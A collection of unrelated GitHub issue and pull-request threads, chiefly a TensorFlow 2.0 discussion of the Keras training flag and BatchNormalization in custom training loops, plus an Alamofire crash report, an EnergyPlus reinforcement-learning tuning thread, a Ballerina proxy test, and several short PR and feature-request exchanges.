[TF2.0] Custom training loop for keras example should provide information about tf.keras.backend.set_learning_phase()

System information

TensorFlow version: tensorflow-gpu 2.0.0-alpha0
Doc Link: https://www.tensorflow.org/alpha/guide/keras/training_and_evaluation#using_the_gradienttape_a_first_end-to-end_example

Describe the documentation issue
That samples did not use tf.keras.backend.set_learning_phase() for manual training loop. So if the model has BatchNormalization() or other layers which depend on training state, it will be not trained correctly. There is no description about tf.keras.backend.set_learning_phase(), even in the page of BatchNormalization(). (https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/keras/layers/BatchNormalization)

Are there any examples on a custom training loop with BatchNormalization?
I've managed to set training_phase, although the model doesn't train the same way as via keras default training loop.

Keras has different side operations which depends on whether train, test or predict phase is executed.

https://github.com/keras-team/keras/blob/master/keras/engine/training.py#L497
https://github.com/keras-team/keras/blob/master/keras/engine/training.py#L524
https://github.com/keras-team/keras/blob/master/keras/engine/training.py#L542

In general a layer has unconditional and condition on input updates and losses. Updates can be that of running mean average in batch normalization.
https://github.com/keras-team/keras/blob/master/keras/layers/normalization.py#L197
Layer losses may include regularization.
https://github.com/keras-team/keras/blob/master/keras/engine/base_layer.py#L246
Upon first call to K.learning_phase() a placeholder for the phase state is created with default value False. To train the model feed dict should contain {K.learning_phase(): True}.
https://github.com/keras-team/keras/blob/master/keras/backend/tensorflow_backend.py#L123
https://github.com/keras-team/keras/blob/master/keras/backend/tensorflow_backend.py#L3345
https://github.com/keras-team/keras/blob/master/keras/layers/normalization.py#L206

I simply called set training_phase before creating the model, and train the model with same method in TF 2.0 tutorial. Without calling it, the model does not trained well.

I found that other document describes "training=True" flag for manual training loop:
https://www.tensorflow.org/alpha/guide/migration_guide#customize_the_training_step
But this does not:
https://www.tensorflow.org/alpha/guide/keras/training_and_evaluation#using_the_gradienttape_a_first_end-to-end_example
Also, second document does not use tf.function for its training step, so extremely slow than first sample. Additionally, GradientTape version manual trainig loop requires more memory than train_on_batch version. I can't figure out that this issue is intended behaviour or bug. (Maybe related to #28110)

With respect to the initial issue, I don't thing a discussion of the learning phase is appropriate, because the example doesn't include any layers that depend on it. Writing a custom loop that uses batch norm is something of an advanced use case both because of the change in behavior between training and inference and the fact that its updates are not gradient updates. All of that complexity would distract from the goal of a simple first example.
With respect to the actual use of the learning phase, I would recommend directly using the training argument of the model rather than set_learning_phase. Passing what you want directly into a function (a model is a function, after all) is more idiomatic TF 2.0 than setting a global persistent state. (Or keras.backend.learning_phase_scope can split the difference) I do, however, agree that the learning phase is not always a straightforward concept and it can be easy to get tripped up on layers whose behavior depend on it. @dynamicwebpaige @fchollet Thoughts on adding a learning phase example to the documentation queue?
Lastly, with respect to performance what you describe is expected. Eager performance is expected to be slower than graph in most cases, and higher memory consumption is also expected. In graph mode the runtime is free to free memory during backprop, but in eager it must simultaneously hold all of the activations and all of the gradients in memory. As for acceleration on with tf.function: there are definitely guides on that, but it has some quirks (function tracing and only once execution, trace caching, etc.) that again makes me think it probably shouldn't be in the very first run loop example.

I agree that it would be nice to have an example with batch normalization.
I also stumbled about this when I converted my code to TF 2: In graph mode you had to run the collected update ops from your model. In eager mode all updates were done in place and the call to updates() just did nothing. But once I wrapped my training step in a tf.function I ended up getting an error and it was really not clear to me if I had to run the updates() inside a tf.function or not. I think it might be helpful to clarify that.

Lastly, with respect to performance what you describe is expected. Eager performance is expected to be slower than graph in most cases, and higher memory consumption is also expected. In graph mode the runtime is free to free memory during backprop, but in eager it must simultaneously hold all of the activations and all of the gradients in memory. As for acceleration on with tf.function: there are definitely guides on that, but it has some quirks (function tracing and only once execution, trace caching, etc.) that again makes me think it probably shouldn't be in the very first run loop example.

@robieta Thanks for clarification. I think that this also should be clearly described in documents for new users. Current training sample (Eager without tf.function) is extremely slow as you described, so it makes user misunderstand that TF 2.0 is slow (like me).
I know that TF 2.0 is in the early stage, but these issue makes me that hard to investigate whether an issue is intended behaviour or bug without documentations.

With regard to the tf.keras.BatchNormalization layer, the documentation specifies that the second input parameter is a python boolean indicating whether the model is used for training or not.
How does this relate to the trainable parameter of model? If one left the layer flag unspecified, would the Model parameter be used instead?
What about if one wants to alternate a train and test step, is it sufficient to edit the model variable or should it be rebuilt?
I think that the documentation is lacking this kind of information, which is quite crucial for successfully using recent models.

Additionally, when I using Model.train_on_batch(), there is no way to pass Training=True flag, so, does TF 2.0 automatically set True when calling train_on_batch() or should I set set_learning_phase() manually?
Current documentation is too useless for that situation.

I think this is a hidden thing in tf.keras now.
With keras model.fit() api, all these are hidden. @robieta documentation is necessary.
However, if you want to directly use keras layers and models, there is a training field inside keras model. For evaluation, you shall set it as false. https://github.com/tensorflow/models/blob/master/official/bert/model_training_utils.py#L249
Correct me if I am wrong....
Thx

The migration guide actually have it for TF2.0: https://www.tensorflow.org/beta/guide/migration_guide. But it wasn't mentioned in keyword. So it's sort of hidden here.

System information

TensorFlow version: tensorflow-gpu 2.0.0-alpha0
Doc Link: https://www.tensorflow.org/alpha/guide/keras/training_and_evaluation#using_the_gradienttape_a_first_end-to-end_example

Describe the documentation issue
That samples did not use tf.keras.backend.set_learning_phase() for manual training loop. So if the model has BatchNormalization() or other layers which depend on training state, it will be not trained correctly. There is no description about tf.keras.backend.set_learning_phase(), even in the page of BatchNormalization(). (https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/keras/layers/BatchNormalization)

Additionally, using training=False or training=True doesn't set learning phase in keras. So when I print keras.backend.learning_phase(), it will also say 0 (test phase). This is confusing.

Additionally, using training=False or training=True doesn't set learning phase in keras. So when I print keras.backend.learning_phase(), it will also say 0 (test phase) even if I use the training argument. This is confusing.
It doesn't because training variable directly affect which computing branch is return at graph construction time inside a python interpreter.
https://github.com/keras-team/keras/blob/master/keras/backend/tensorflow_backend.py#L3363

Are there any examples on a custom training loop with BatchNormalization?
I've managed to set training_phase, although the model doesn't train the same way as via keras
default training loop.

You can find an example of the training variable usage for batch norm layers using the functional API and custom training loops in the Tensorflow resnet50 implementation.
Here is the model call with the training=True in the custom training loop.
Note that the model definition is using the functional API and does not specify the batch norm layers with the training parameter. see here
When the custom training loop calls the model with the training parameter, the call method in tensorflow/python/keras/engine/network.py calls _run_internal_graph which resets the training parameter for each layer that has 'training' in its argspec. see here

What about models from keras.applications?
I would to like to use keras.Model from keras.applications in my custom training loop.
It is not clear, because these models create like tf.keras.Model(inputs, outputs) and there is not any information about call function parameters.

@rwl93 , I cannot find any special handling of batch norm for custom training loops in the code you linked
@robieta , you mention that custom training loops with batch norm are an advanced topic
So which is it ? When I try, my model is not training to the same accuracy as with model.fit(). But then I might be hitting another issue.
Is there something special to do when using tf.keras.layers.BatchNormalization with a custom training loop ?

I put together a quick example of batch norm and CTL gist. The main thing is to pass the training arg when calling the model. (I was lazy and just used model.evaluate to assess the CTL) Interestingly that also seems to apply the updates to the moving statistics. For whatever reason I thought those had to be handled separately (handling them correctly was a major stumbling block of 1.x CTL's), but it seems that either the layer or automatic control dependencies are picking them up automagically. So I guess no so advanced a use case as I initially thought.

I also noticed the problem months ago. I remember none of our examples pass
training arg. However, we should pass it explicitly in CTL and all official
models have that now.
On Thu, Oct 3, 2019, 11:17 PM Taylor Robie<EMAIL_ADDRESS>wrote:

I put together a quick example of batch norm and CTL gist
https://colab.sandbox.google.com/gist/robieta/044ec2031399e1dae5e42fc7c8bd48d3/batch_norm_in_ctl.ipynb.
The main thing is to pass the training arg when calling the model. (I was
lazy and just used model.evaluate to assess the CTL) Interestingly that
also seems to apply the updates to the moving statistics. For whatever
reason I thought those had to be handled separately (handling them
correctly was a major stumbling block of 1.x CTL's), but it seems that
either the layer or automatic control dependencies are picking them up
automagically. So I guess no so advanced a use case as I initially thought.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/tensorflow/tensorflow/issues/28028?email_source=notifications&email_token=ABFFXZPC3L7LOUBIK7VVPI3QM3NXVA5CNFSM4HHM2SS2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEAKR4WQ#issuecomment-538254938,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABFFXZJXQNEHSWV4HWQ6O6LQM3NXVANCNFSM4HHM2SSQ
.

Thank you for putting this example together. It is really nice. You say the main thing is to call the model with model(data, training=True) during training. After reading your code, it seems to me that's the only thing you are doing differently. Correct ?

That is correct.

Recommend to look at this method
https://github.com/tensorflow/tensorflow/blob/99dda8ef941eac413e196b7bd6a7ba58b553b4ca/tensorflow/python/keras/engine/base_layer.py#L627
it calls before every specific layer calls
firstly training flag is searched in kwargs, and if not training= backend.learning_phase

I put together a quick example of batch norm and CTL gist. The main thing is to pass the training arg when calling the model. (I was lazy and just used model.evaluate to assess the CTL) Interestingly that also seems to apply the updates to the moving statistics. For whatever reason I thought those had to be handled separately (handling them correctly was a major stumbling block of 1.x CTL's), but it seems that either the layer or automatic control dependencies are picking them up automagically. So I guess no so advanced a use case as I initially thought.

@robieta  Thanks for sample code. It clarifies how to train BatchNormalization layer by using GradientTape. But how about train_on_batch() and predict_on_batch() API? it doesn't have training parameter. In my understand, keras API (train, predict, evaluate and so on) handles training status internally (so it will be True while I running train_xx method) and I should not call set_learning_phase() manually. Is this correct?

That is correct: the Model.*_on_batch methods set the learning phase for you.

With regards to the original issue, I made this commit that gives users a heads up about the training=True/False for custom training loops across the tutorials on tensorflow.org where possible (some examples have single layers that don't have or need a training=True/False and trying to pass the training param would throw an error).


EXC_BAD_ACCESS when making request using concurrency in iOS 13, especially building on Xcode 14.1

ℹ Please fill out this template when filing an issue.
All lines beginning with an ℹ symbol instruct you with what info we expect. You can delete those lines once you've filled in the info.
Per our *CONTRIBUTING guidelines, we use GitHub for
bugs and feature requests, not general support. Other issues should be opened on Stack Overflow with the tag alamofire.
Please remove this line and everything above it before submitting.

[x] I've read, understood, and done my best to follow the *CONTRIBUTING guidelines.

What did you do?
Created a new project on Xcode 14.1 with simple network request.
No error is occurred when I make a request with completionHandler, but error occurs when I do same thing using concurrency (async/await).
What did you expect to happen?
Successful network request with no error
What happened instead?
EXC_BAD_ACCESS occurred from closure #1 in closure #3 in closure #1 in DataRequest._response<τ_0_0>(queue:responseSerializer:completionHandler:) at /Pods/Alamofire/Source/ResponseSerialization.swift:244
But it does not happens when I build on Xcode 14.0.1, but only on Xcode 14.1
Also, not happening on iOS 14, only on iOS 13
Alamofire Environment
Alamofire Version: 5.6.2
Dependency Manager: CocoaPods 1.11.3
Xcode Version: 14.1
Swift Version: 5.7.1
Platform(s) Running Alamofire: iOS 13
macOS Version Running Xcode: 12.5.1
Demo Project
ℹ Please link to or upload a project we can download that reproduces the issue.
demo2.zip

To investigate this we need the full crash stack from your report. Most likely this is a concurrency runtime issue but we'll need the report to be sure.

Following is stack trace
(lldb) frame info
frame #0: 0x000000010b875451 libobjc.A.dylib`objc_destructInstance + 44
(lldb) bt
* thread #4, queue = 'org.alamofire.concurrencySingleEventQueue', stop reason = EXC_BAD_ACCESS (code=2, address=0x1000000050)
  * frame #0: 0x000000010b875451 libobjc.A.dylib`objc_destructInstance + 44
    frame #1: 0x000000010bbbf198 libswiftCore.dylib`swift_deallocClassInstance + 24
    frame #2: 0x000000010bbbf0d0 libswiftCore.dylib`_swift_release_dealloc + 16
    frame #3: 0x000000010a9f448b Alamofire`___lldb_unnamed_symbol36697 + 155
    frame #4: 0x000000010bbbf0d0 libswiftCore.dylib`_swift_release_dealloc + 16
    frame #5: 0x000000010aabf948 Alamofire`___lldb_unnamed_symbol36864 + 168
    frame #6: 0x000000010bbbf0d0 libswiftCore.dylib`_swift_release_dealloc + 16
    frame #7: 0x000000010aac026d Alamofire`block_destroy_helper.197 at <compiler-generated>:0
    frame #8: 0x000000010dfed9ba libsystem_blocks.dylib`_Block_release + 101
    frame #9: 0x000000010debbe8e libdispatch.dylib`_dispatch_client_callout + 8
    frame #10: 0x000000010debe7a3 libdispatch.dylib`_dispatch_continuation_pop + 552
    frame #11: 0x000000010debdbbb libdispatch.dylib`_dispatch_async_redirect_invoke + 771
    frame #12: 0x000000010decd399 libdispatch.dylib`_dispatch_root_queue_drain + 351
    frame #13: 0x000000010decdca6 libdispatch.dylib`_dispatch_worker_thread2 + 135
    frame #14: 0x000000010e379c9d libsystem_pthread.dylib`_pthread_wqthread + 256
    frame #15: 0x000000010e378c67 libsystem_pthread.dylib`start_wqthread + 15

I can't replicate this in the iOS 13 simulator under Xcode 14.1 or 14.2. Are you only seeing this on device? I suggest you try under the recently released Xcode 14.2 RC and see if the behavior has changed again. Unfortunately Swift's concurrency system has shipped a variety of bugs for different Xcode releases, so I'm not sure what Alamofire can do here.
If this continues to occur, please post a symbolicated crash log, not one from the debugger, and we can investigate further.

I encountered this problem with two different Macs and both for simulator and real device, so I thought this is not a problem just for me. But fortunately, I am not seeing this problem in recently released Xcode 14.2. I will let you know if I find something new about this issue.


Zone air temperature fluctuates a lot after 200 episodes

Hello! I used the original code in baseline docker to train the RL model with command:
python3 -m baselines_energyplus.trpo_mpi.run_energyplus --num-timesteps 10000000. The model was trained for 200 episodes and saved and applied for inference with the same idf file and weather file. The west zone temperature during inference fluctuates a lot (annual mean temperature is about 22.4 degree), as shown in the graph below:

Also, the set point temperature set by action is almost always at the lowest value possible:

Is this the expected behavior for the episode?

Here's the statistical information of episode 215:
Reward                    ave=-0.48, min=-3.77, max= 1.36, std= 0.96
westzone_temp             ave=22.02, min=15.26, max=35.89, std= 2.65
eastzone_temp             ave=22.15, min=16.41, max=34.43, std= 2.35
Power consumption         ave=102,383.14, min=40,710.74, max=175,918.97, std=27,053.27
pue                       ave= 1.31, min= 1.02, max= 2.06, std= 0.16
westzone_temp distribution
    degree 0.0-0.9 0.0   0.1   0.2   0.3   0.4   0.5   0.6   0.7   0.8   0.9
    -------------------------------------------------------------------------
    17.0C  1.6%    0.2%  0.2%  0.2%  0.1%  0.1%  0.1%  0.1%  0.1%  0.2%  0.2%
    18.0C  3.4%    0.2%  0.2%  0.3%  0.3%  0.3%  0.4%  0.4%  0.4%  0.4%  0.5%
    19.0C  5.4%    0.5%  0.4%  0.5%  0.5%  0.4%  0.5%  0.6%  0.6%  0.7%  0.8%
    20.0C 15.3%    1.0%  1.1%  1.3%  1.5%  1.6%  1.7%  1.8%  1.7%  1.7%  1.8%
    21.0C 12.7%    1.7%  1.6%  1.5%  1.5%  1.3%  1.1%  1.0%  1.0%  1.0%  1.0%
    22.0C 12.5%    0.9%  0.9%  1.0%  1.0%  1.0%  1.2%  1.3%  1.6%  1.7%  1.9%
    23.0C 22.5%    1.9%  2.1%  2.4%  2.4%  2.4%  2.3%  2.3%  2.4%  2.2%  2.0%
    24.0C 13.2%    2.1%  1.9%  1.7%  1.6%  1.4%  1.1%  1.0%  1.0%  0.9%  0.7%
    25.0C  3.1%    0.5%  0.5%  0.4%  0.4%  0.3%  0.3%  0.2%  0.2%  0.2%  0.1%
    26.0C  0.9%    0.1%  0.1%  0.1%  0.1%  0.1%  0.1%  0.0%  0.1%  0.1%  0.1%
    27.0C  0.6%    0.1%  0.1%  0.1%  0.1%  0.0%  0.1%  0.0%  0.1%  0.1%  0.1%

Hi @WynnCJF, do you get the same during training or is it only during inference? Training and inference should show similar results if inference was performed on a reloaded policy, assuming that reload works as expected.
Also note: depending on how you perform inference, you may want to make predictions deterministic and no longer stochastic (keeping the mode of the outputted action probability distribution - ie for present continuous case with gaussian, that means keeping mean and ditching standard deviation). Not sure how baselines handles that though.

Hi @antoine-galataud. I saved the model checkpoints and reloaded them using tf.train.Checkpoint, and I compared the eplusout.csv generated by EnergyPlus during training and inference. Yes the results are quite similar. The statistical information in your README file shows the result of episode 362, which is considerably larger than the 200 episodes I ran. Do you think my issue results from insufficient training?
Thanks for the note on deterministic predictions! We'll look into that.

Do you see training stats improving even at episode 200? If yes then training longer could help.
You can check if episode reward mean is still improving, as well as temperature and power demand. Something that would be worth tracking too (but not accessible easily with baselines) are policy and value function losses, as well as entropy (near 0 if policy becomes deterministic).

Hi @antoine-galataud. Thanks for your help! However, the training results at episode 362 are still unstable even if I use the original docker image without changing any code:
Reward                    ave=-0.44, min=-3.95, max= 1.42, std= 0.96
westzone_temp             ave=21.96, min=15.29, max=36.78, std= 2.56
eastzone_temp             ave=22.15, min=16.45, max=33.80, std= 2.26
Power consumption         ave=102,154.61, min=40,686.45, max=178,973.00, std=26,960.15
pue                       ave= 1.31, min= 1.02, max= 2.05, std= 0.15
westzone_temp distribution
    degree 0.0-0.9 0.0   0.1   0.2   0.3   0.4   0.5   0.6   0.7   0.8   0.9
    -------------------------------------------------------------------------
    17.0C  1.5%    0.2%  0.2%  0.1%  0.1%  0.1%  0.1%  0.1%  0.1%  0.2%  0.2%
    18.0C  3.1%    0.2%  0.2%  0.2%  0.3%  0.3%  0.3%  0.3%  0.4%  0.4%  0.5%
    19.0C  5.2%    0.5%  0.5%  0.5%  0.5%  0.4%  0.5%  0.5%  0.5%  0.6%  0.7%
    20.0C 16.6%    0.9%  1.0%  1.3%  1.5%  1.7%  1.9%  2.1%  2.1%  2.1%  2.0%
    21.0C 12.3%    1.9%  1.8%  1.6%  1.3%  1.2%  1.1%  0.9%  0.9%  0.7%  0.8%
    22.0C 11.4%    0.8%  0.8%  0.8%  0.9%  1.0%  1.1%  1.2%  1.5%  1.5%  1.8%
    23.0C 24.5%    2.0%  2.2%  2.4%  2.3%  2.6%  2.7%  2.6%  2.7%  2.6%  2.4%
    24.0C 13.4%    2.4%  2.0%  1.9%  1.6%  1.5%  1.1%  0.9%  0.8%  0.6%  0.5%
    25.0C  2.1%    0.4%  0.3%  0.3%  0.2%  0.2%  0.2%  0.2%  0.1%  0.1%  0.1%
    26.0C  0.7%    0.1%  0.1%  0.1%  0.1%  0.1%  0.1%  0.0%  0.0%  0.0%  0.1%
    27.0C  0.5%    0.1%  0.0%  0.1%  0.0%  0.0%  0.0%  0.1%  0.0%  0.0%  0.1%

Not sure why I cannot reproduce the results in README. 😕

@xingjian-zhang I've checked the orginal paper and these indoor temperature fluctuations are expected when training only on USA_CA_San.Francisco.Intl.AP.724940_TMY3.epw weather file. See Simulation Results (Section 5.2), Figure 4.
If you want to get a better chance at reproducing paper's results, you can edit ~/.bashrc_eplus and uncomment the relevant export ENERGYPLUS_WEATHER line (last one of the group). Then don't forget to source ~/.bashrc_eplus before launching a new training.

Thanks for the suggestion! I will check on that. 🚀

Hi @antoine-galataud! We followed your advice and changed ENERGYPLUS_WEATHER to more weather files:
root@0366a70a6b20:~/rl-testbed-for-energyplus# echo $ENERGYPLUS_WEATHER
/usr/local/EnergyPlus-22-1-0/WeatherData/USA_CA_San.Francisco.Intl.AP.724940_TMY3.epw,/usr/local/EnergyPlus-22-1-0/WeatherData/USA_CO_Golden-NREL.724666_TMY3.epw,/usr/local/EnergyPlus-22-1-0/WeatherData/USA_FL_Tampa.Intl.AP.722110_TMY3.epw

We left the other code unchanged in the original docker image and trained for around 500 episodes. Yet the room temperature still seems to fluctuate:
energyplus_model.plot csv=/root/eplog/openai-2022-07-30-04-36-07-288085/output/episode-00000500-08436/eplusout.csv.gz
read_episode: file=/root/eplog/openai-2022-07-30-04-36-07-288085/output/episode-00000500-08436/eplusout.csv.gz
episode /root/eplog/openai-2022-07-30-04-36-07-288085/output/episode-00000500-08436/eplusout.csv.gz
read_episode: file=/root/eplog/openai-2022-07-30-04-36-07-288085/output/episode-00000500-08436/eplusout.csv.gz
Reward                    ave=-0.76, min=-2.25, max= 1.03, std= 0.89
westzone_temp             ave=21.09, min=15.51, max=28.85, std= 2.78
eastzone_temp             ave=21.79, min=16.87, max=30.25, std= 2.46
Power consumption         ave=109,730.73, min=42,398.08, max=147,799.32, std=28,855.72
pue                       ave= 1.50, min= 1.03, max= 1.96, std= 0.16
westzone_temp distribution
    degree 0.0-0.9 0.0   0.1   0.2   0.3   0.4   0.5   0.6   0.7   0.8   0.9
    -------------------------------------------------------------------------
    17.0C 10.4%    2.2%  2.2%  1.7%  1.3%  0.9%  0.6%  0.5%  0.4%  0.4%  0.3%
    18.0C  2.9%    0.4%  0.3%  0.2%  0.2%  0.2%  0.2%  0.2%  0.4%  0.3%  0.4%
    19.0C  4.8%    0.4%  0.3%  0.4%  0.4%  0.5%  0.4%  0.6%  0.6%  0.6%  0.7%
    20.0C  9.9%    0.6%  0.6%  0.7%  0.8%  0.9%  1.1%  1.2%  1.3%  1.3%  1.5%
    21.0C 16.4%    1.8%  2.0%  2.3%  2.5%  2.4%  2.1%  1.3%  1.0%  0.6%  0.4%
    22.0C  5.0%    0.4%  0.4%  0.4%  0.4%  0.4%  0.5%  0.5%  0.6%  0.7%  0.8%
    23.0C 20.2%    1.0%  1.4%  1.8%  2.0%  2.1%  2.1%  2.1%  2.3%  2.6%  2.8%
    24.0C 17.2%    2.7%  2.9%  3.0%  2.9%  2.5%  2.0%  1.0%  0.3%  0.1%  0.0%
    25.0C  0.0%    0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%
    26.0C  0.0%    0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%
    27.0C  0.0%    0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%

Moreover, we observed that the setpoint temperature in the action during inference is always at its minimum (10 Celsius degree), and the air mass flow rate is always very close to about 3.5. This means the actual action values are almost fixed.
Is there any way to fix this problem? By the way I noticed that the EnergyPlus version in ~/.bashrc shown in README is 8-8-0, while the version in docker image is 22-1-0. Does it have anything to do with our problem? Thanks!

That requires more debugging indeed. EnergyPlus version could be one factor, not very likely though.
Another thing that changed is openai baselines version: the current master branch uses one that is compatible with tensorflow 2. The original version used tf1.
You could try to build an env with original dependencies versions to test, that should be too hard.
You can also try to tweak the reward to put more weight on temperature constraint, but that would deviate from original paper.

@WynnCJF @xingjian-zhang I managed to get stable zone air temperature in west zone using model 2ZoneDataCenterHVAC_wEconomizer_Temp.idf instead of 2ZoneDataCenterHVAC_wEconomizer_Temp_Fan.idf. This can be set in bashrc_eplus too (last lines). Note that original paper doesn't indicate which model was used to obtain presented results.
Here is what I obtain on first episode:
>>> df = pd.read_csv("/root/eplog/openai-2022-08-01-19-23-21-347401/output/episode-00000000-00481/eplusout.csv.gz")
>>> df["WEST ZONE:Zone Air Temperature [C](TimeStep)"].describe()
count    35040.000000
mean        36.016728
std          8.386905
min         21.128363
25%         29.051563
50%         35.561136
75%         42.257246
max         58.404368
Name: WEST ZONE:Zone Air Temperature [C](TimeStep), dtype: float64

Then on episode 20:
>>> df = pd.read_csv("/root/eplog/openai-2022-08-01-19-23-21-347401/output/episode-00000020-00481/eplusout.csv.gz")
>>> df["WEST ZONE:Zone Air Temperature [C](TimeStep)"].describe()
count    35040.000000
mean        22.677554
std          1.066780
min         18.919097
25%         22.978730
50%         22.999801
75%         23.000150
max         36.485794

Using python3 -m common.plot_energyplus:
read_episode: file=/root/eplog/openai-2022-08-01-19-23-21-347401/output/episode-00000021-00481/eplusout.csv.gz
Reward                    ave=-0.19, min=-2.56, max= 1.49, std= 0.57
westzone_temp             ave=22.47, min=18.90, max=35.12, std= 1.21
eastzone_temp             ave=22.29, min=19.48, max=39.18, std= 1.55
Power consumption         ave=103,788.51, min=46,255.23, max=170,448.48, std=27,558.03
pue                       ave= 1.30, min= 1.02, max= 1.77, std= 0.14
westzone_temp distribution
    degree 0.0-0.9 0.0   0.1   0.2   0.3   0.4   0.5   0.6   0.7   0.8   0.9
    -------------------------------------------------------------------------
    17.0C  0.0%    0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%
    18.0C  0.0%    0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%
    19.0C  6.1%    0.1%  0.3%  0.4%  0.5%  0.6%  0.7%  0.7%  0.9%  1.0%  1.0%
    20.0C 11.9%    1.0%  1.2%  1.3%  1.4%  1.5%  1.3%  1.2%  1.1%  1.0%  0.8%
    21.0C  4.1%    0.7%  0.6%  0.5%  0.5%  0.4%  0.3%  0.2%  0.3%  0.2%  0.2%
    22.0C 40.3%    0.3%  0.3%  0.3%  0.3%  0.3%  0.3%  0.4%  0.6%  0.8% 36.8%
    23.0C 35.6%   32.2%  0.9%  0.6%  0.5%  0.3%  0.3%  0.2%  0.2%  0.2%  0.2%
    24.0C  0.9%    0.1%  0.1%  0.1%  0.1%  0.1%  0.1%  0.1%  0.1%  0.1%  0.1%
    25.0C  0.6%    0.1%  0.1%  0.1%  0.1%  0.0%  0.1%  0.1%  0.0%  0.1%  0.0%
    26.0C  0.3%    0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%
    27.0C  0.2%    0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%  0.0%

Note also that temperature fluctuation depends a lot on weather file that was used for given episode (San Francisco gives more stable results).


Disabled the HTTP proxy server/client integration test as it fails running with testerina

Description:
This test case fails when running with testerina. But it is passing when we run it locally.
Steps to reproduce:
Proxy server
import ballerina/http;
import ballerina/io;

@http:ServiceConfig {
    basePath:"/proxy"
}
service serverService on new http:Listener(9218) {

    @http:ResourceConfig {
        methods:["POST"],
        path:"/server"
    }
    resource function sayHello(http:Caller caller, http:Request req) {
        http:Response res = new;
        res.setTextPayload("Backend server sent the response");
        checkpanic caller->respond(res);
    }
}

@http:ServiceConfig {
    basePath:"/*"
}
service proxyService on new http:Listener(9219) {

    @http:ResourceConfig {
        path:"/*"
    }
    resource function sayHello(http:Caller caller, http:Request req) {
        string url = <@untainted> req.rawPath;
        io:println(url);
        sendRequest(url, <@untainted> req, <@untainted> caller);
    }
}

function sendRequest(string url, http:Request req, http:Caller caller) {
    http:Client clientEP = new(url);
    http:Caller listenerEP = caller;
    var response = clientEP->forward("", req);
    if (response is http:Response) {
        checkpanic listenerEP->respond(response);
    } else {
        checkpanic listenerEP->respond(response.message());
    }
}

Proxy client
import ballerina/http;
import ballerina/io;
import ballerina/test;

http:ClientConfiguration clientEPConfig  = {
    http1Settings: {
        proxy: {
            host:"localhost",
            port:9219
        }
    }
};

public function testProxyClient() {
    http:Client clientEP2 = new("http://localhost:9218", clientEPConfig);
    http:Request req = new;
    var resp = clientEP2->post("/proxy/server", req);
    if (resp is http:Response) {
        var payload = resp.getTextPayload();
        if (payload is string) {
           test:assertEquals(payload, "Backend server sent the response");
        } else {
            io:println(payload.message());
        }
    } else {
        io:println(resp.message());
    }
}

When the client->forward  is called, it keeps on calling the proxy service instead of the backend server.

Reason for this is the properties set in the outbound request from the proxy client has not been removed when doing the forward call. Hence the port has pointed to the same proxy service port


Show available episodes of a TV Show, not only Seasons

Description
It would be great, if there could be an indicator on the Episode-Level of a TV show, which Episodes are available, and which one are missing.
For missing Episodes, you could then also try to create a request... :)
In this example, it's not visible, which episodes are missing for Season3 & 4 ...

Desired Behavior
There should be an indicator on the Episode-Level to indicate, which episodes are available and which are maybe missing.
Additional Context
No response
Code of Conduct

[X] I agree to follow Jellyseerr's Code of Conduct

Part of and duplicate of #264


Skip templates if 'Kind' not present

A template file might have a conditional block around the resource,
allowing it to be enabled/disabled based on other variables. Previously,
the controller could not handle this, it would error with a message like
controller failed to sync "...", err: Object 'Kind' is missing in '...'

Signed-off-by: Justin Kulikauskas<EMAIL_ADDRESS>

/cc @zhiweiyin318
Example template: https://github.com/JustinKuli/governance-policy-addon-controller/blob/f315f218e1e2b901e02848db16ce8bb78f9f7339/pkg/addon/policy_framework/manifests/managedcluster-chart/templates/policy.open-cluster-management.io_policies_crd.yaml - we don't want to deploy the CRD on the hub cluster, it would (usually) already be present from the other hub-side component of the policy framework.
Skipping the template works for the GRC case, but maybe this would be worth setting as a configuration option? So that it would fail to deploy in other use-cases.

/lgtm
thanks @JustinKuli


Refining the Resiliency Score Report section

Learn Build status updates of commit bed66a9:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

articles/app-service/overview-diagnostics.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

@cephalin,
Can you review the proposed changes?
IMPORTANT: When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

#sign-off

#re-assign msangapu-msft

#sign-off


refactor: add missing await and remove redundant async keywords

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 83.70%. Comparing base (d4ea1a3) to head (da88ff0).

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #25      +/-   ##
==========================================
- Coverage   83.73%   83.70%   -0.03%
==========================================
  Files           7        7
  Lines        1168     1166       -2
  Branches      269      269
==========================================
- Hits          978      976       -2
  Misses        190      190

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Proposal: takeSequence helper

This is a feature proposal PR, so any comments/suggestions are highly appreciated 🐱
How this helper works:

handles actions matching passed pattern
starts new task
if there is some task already running for this action, it will ignore this action

Basically, purpose of this helper is to provide implementation of throttling pattern out of the box
I'm still not sure about the name of this helper... Any thoughts? 💭

I'm still not sure about the name of this helper

Yeah. the name suggests that the saga doesn't ignore actions and queue them one after another.

im curious, how would you use that to achieve throttle? I mean, as far as I can see it it is not a standard throttle with delay parameter, just more like:
while (true) {
	const action = yield take(pattern)
	// do smth
}

am I right? its just waiting for the previous run to finish before accepting new action, so its kinda takeFirstInSequence ?

No, it's not like takeFirstInSequence, but take -> spawn task -> ignore all incoming actions while task in progress -> take -> ...

it is not a standard throttle with delay parameter
